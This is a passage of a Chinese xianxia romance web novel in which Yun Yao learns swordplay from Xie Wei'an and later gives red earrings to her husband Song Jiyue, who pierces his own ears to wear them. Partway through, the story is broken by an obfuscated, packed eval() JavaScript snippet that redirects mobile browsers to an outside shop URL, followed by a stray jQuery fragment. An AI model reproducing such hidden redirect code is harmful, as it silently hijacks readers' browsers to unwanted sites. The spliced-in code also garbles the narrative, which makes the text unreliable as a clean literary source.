“我也可以吗?”她抿了抿唇,语气失落道:“我不会修炼。”
谢卫安笑着鼓励道:“没关系,这帮孩子们跟你一样都是凡人,除了亲传弟子,其他人都是一步步走的。”
虽然最后能练出来的没有几人,谢卫安在心里想。
云瑶看了看挑选剑的弟子们,心中涌上一丝惊喜,是不是说自己也能修炼了。
她还以为这辈子都没机会了,云瑶走到挂着剑的墙壁旁,她不懂武器,因此没有过多犹豫,一眼便挑到了心仪的剑。
谢卫安双手抱胸,立在原地,本以为她这种从没见过世面的女人会磨蹭很久,结果一转眼便看见云瑶抱着一把短剑走回来了。
她言笑晏晏,一双眼睛弯成了月牙,身上穿着鹅黄色的衣服,举起短剑晃了晃,明媚得不像话。
“我选好了。”
谢卫安愣了愣,眼底闪过一丝惊艳,他之前还不懂为什么宋霁月要选这么一个普通的女孩做夫人,如今却突然有些明白。
过了好半天他轻咳一声,若无其事地点点头:“他们还要好久才好,我们先开始吧。”
二人走出炼器阁,到了门前一片空地,外面加设了法阵和围栏,似乎是专门用来试炼新武器的地方。
云瑶摸着白色的剑柄,这把剑并不重,拿起来一点也不费劲,她随意甩了两下,脸上露出几分笑容,心中很是兴奋。
“我们快开始吧。”她期待地看向立在一旁的谢卫安。
他一时失笑,练剑不是一时之功,身体素质更是重中之重,本来第一堂课应是扎马步,谢卫安打量了下她的细胳膊细腿。
无知无畏的小姑娘练两次估计就得哭着回去了吧。
想到谢玲珑让他照顾云瑶的话,他叹了口气,走到云瑶身后握住她的手,身体力行带她尝试一次真正的剑法。
“你准备好了吗?”他眼睫低垂,声音轻柔地问。
云瑶紧张地咽了口唾沫,虽然谢卫安一直表现得很温柔,但他真走过来握住云瑶的手时,她还是感到了一丝若有若无的轻视。
是觉得大小姐瞎胡闹想练剑吧,也对,如果云瑶是他也会这么觉得。
她紧紧抓住剑柄,眼中闪过一丝执着的光,云瑶最讨厌别人用这种态度对她。
“开始吧。”
谢卫安没有用灵气,四肢驱动着这把剑,大开大合,云瑶跟着他的动作不得不把身体伸展到极致。
剑花在空中划出流利的弧度,一招一式在他手中都极为干净利落,花树下掉下来片片花瓣,谢卫安一袭白衣,如同某个世家公子。
只有身在其中的人才会明白有多累。
这是一套再简单不过的剑法,云瑶额间流出了几滴汗,气喘吁吁累得不成样子,反观谢卫安即使要带着她这个负担,依然面色平和,连一滴汗都没有流。
“要休息一下吗?”谢卫安低下头,声音在她耳侧响起。
她紧紧蹙着眉,咬牙又挥了出去,摇了摇头,声音冷漠道:“不用,继续吧。”
谢卫安低下头看着云瑶泛红的脸颊和额头,心中升起淡淡的疑惑,这只是一个简单的练习,她已经不行了,为什么还要坚持。
他们贴得很近,谢卫安能闻到云瑶身上淡淡的香气,从衣服里漏出来的白皙脖颈泛起薄红,他抿了抿唇,眼中闪过一丝复杂的情绪。
云瑶一直坚持到把剑舞完,腿脚酸软,好像不是自己的一样,她猛得倒在地上,谢卫安下意识伸手去抓,被她一把拍了开来。
“抱歉。”她脑袋昏沉,意识到自己干了啥,不好意思地对他笑了笑。
谢卫安用指尖搓了搓发红的地方,眼底闪过一抹暗色,真是个有趣的人。
他没想到云瑶能舞到最后,她确实有些特别,和那个招人厌的丈夫不同,云瑶倒是挺对他口味的。
云瑶在原地休息了一会,直到喉咙里那种强烈的血腥味退下去,才拍拍衣服站起来。
练剑真是个辛苦的事啊,想起之前宋霁月和谢玲珑对打时的身手,云瑶舔了舔唇,有些期待地想着,若有朝一日她也能这么潇洒就好了。
到时候她一定把宋霁月踩在脚下让他也尝尝被软鞭子戏弄的感觉。
“我以后能和这帮弟子们一起跟你练剑吗?”云瑶转过头,眼睛直直的看向他问道。
“跟我?”谢卫安蹙了蹙眉,疑惑道:“你为什么不让宋霁月交给你。”
让他还怎么把他踩在脚下,虽然她一句话宋霁月就会乖乖配合照做,但那一点也不爽,要是他非得做点什么,云瑶也拦不住他。
该死的修仙人!
云瑶这么想着,面上却露出一丝真挚的笑容:“因为你比他教得更好。”
比他好,谢卫安眸子颤了颤,嘴角微不可查勾了起来,这还是自宋霁月来到蜀山后第一个说他比那人强的。
况且,这还是宋霁月的妻子。
他心中涌出一种无法用言语形容的暗爽,即使之后的弟子不是他带的,谢卫安还是应下了这件事,他笑得面如春风,抬手许诺道;“只要你能坚持下来,我可以一直教你。”
被巨大的喜悦砸中,云瑶瞳孔肉眼可见地亮了起来,她握紧拳头,真心实意地对谢卫安道:“谢谢,我一定可以做到的。”
她弯了弯眼睛,对他露出洁白的牙齿,明媚的样子莫名让人移不开眼睛。
谢卫安耳尖红了红,他以手抵唇,轻咳一声掩盖不自然的神色,敷衍道:“那以后都在这里见面了,云瑶。”
“好。”
等到弟子们陆续挑完剑便陆续院子里集合,几岁的孩子在蜀山并不常见,梦襄被他们抱在怀里逗弄,被一个接一个的新奇物件吸引了眼球,笑得乐不可支。
谢卫安要带队离开,临走时还问云瑶要不要和他们一起下山,结果被她拒绝了。
“我还有东西要买,谢大哥,你们先走吧。”云瑶微笑着招了招手,又把梦襄从人堆里捞出来,转身又进了店里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605395|204634||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
谢卫安垂下眸,回味着谢大哥这个称呼,除了谢玲珑,还没有人叫过他哥哥,如今乍一听竟然觉得还挺不错的。
临走时谢卫安回头看了一眼炼器阁,透过店铺里层层的装饰,他隐隐约约看见这人手上拿了一对红色的耳坠。
她喜欢这种东西吗?谢卫安眨了眨眼,心中暗自记下了。
云瑶确实买了一对耳坠,却不是给自己买的,炼器阁并不是只有兵器,在角落里还摆了一些首饰挂件在售卖,挑选剑时云瑶耽搁了一段时间就是在看这些东西。
修真人用的即使是首饰也比凡间的要精美许多,云瑶扫了一眼便相中了这对石榴红的坠子,两只并不大,宝石被打磨成细长的片,仔细看上面还画了很小的防御法阵,复杂又繁琐,挂在耳朵上显得格外艳丽。
几乎是为宋霁月量身打造的。
想给他买点什么的念头是在梦襄翻出那堆她不知什么时候送的陈年旧物时升起的,云瑶莫名有些愧疚,重逢这么多年宋霁月一直在给她添置东西,她还没有正儿八经送什么。
如今正好有了适合的东西。
至于他会不会喜欢耳坠,云瑶根本没想过这个问题,毕竟她送什么,宋霁月都会开心得跟什么一样。
*
房间里的油灯被依次点燃,夜晚如同蒙了一层薄纱,池塘里的鲫鱼在水中荡漾出微微的波纹。
宋霁月心中记挂着云瑶,原本两天的活被压成一天干完,从外面匆匆赶回来时已经到了深夜。
轻轻推开房间的门,累了一天的云瑶躺在床上双眸紧闭,呼吸匀称,已经沉沉睡了过去,宋霁月拉开床帘低头看着她,脸上露出一丝满足的笑容。
平常闹挺的人睡着了倒是格外安静,他心里软得一塌糊涂,脱下外衣,低下头亲了亲她的侧脸,湿腻腻的触感,云瑶不知梦到了什么,拧了下眉,不爽地撇过去,正好露出被压在身下的东西。
手帕包的严严实实,原先应是放在枕头底下的,不知怎么就挪到了床边。
宋霁月一时失笑,捡起来打开,里面包着一对红坠子,一张小小的纸从里面飘了出来。
——送给你的。
宋霁月一时怔仲,不敢置信地拿出它们,烛光下红宝石闪着耀眼的光泽,他眸子有些异常亮,是专门买给他的吗?
现在已经不讨厌他了?
宋霁月舔了舔唇,心中波涛起伏,很想现在就把她叫起来问清楚,但看到手中的耳坠后又改变了主意。
就着月光,耳坠尖锐的后缘刺破白皙的皮肤渗出一两滴血珠滴在衣服上,鲜红的血珠比宝石还要艳丽,宋霁月眼睛眨也没眨,耳朵上轻微的刺痛过后,耳坠便牢牢挂在了上面。
他没有耳洞,便只好用耳坠现穿一个。
等两边的都挂好,宋霁月脸上露出满意的笑,他趴在云瑶耳边,轻轻叫她的名字,一连好几遍,也不知道哪个狗这么烦人还追到梦里,她睫毛颤了颤,终于不耐烦地睁开眼。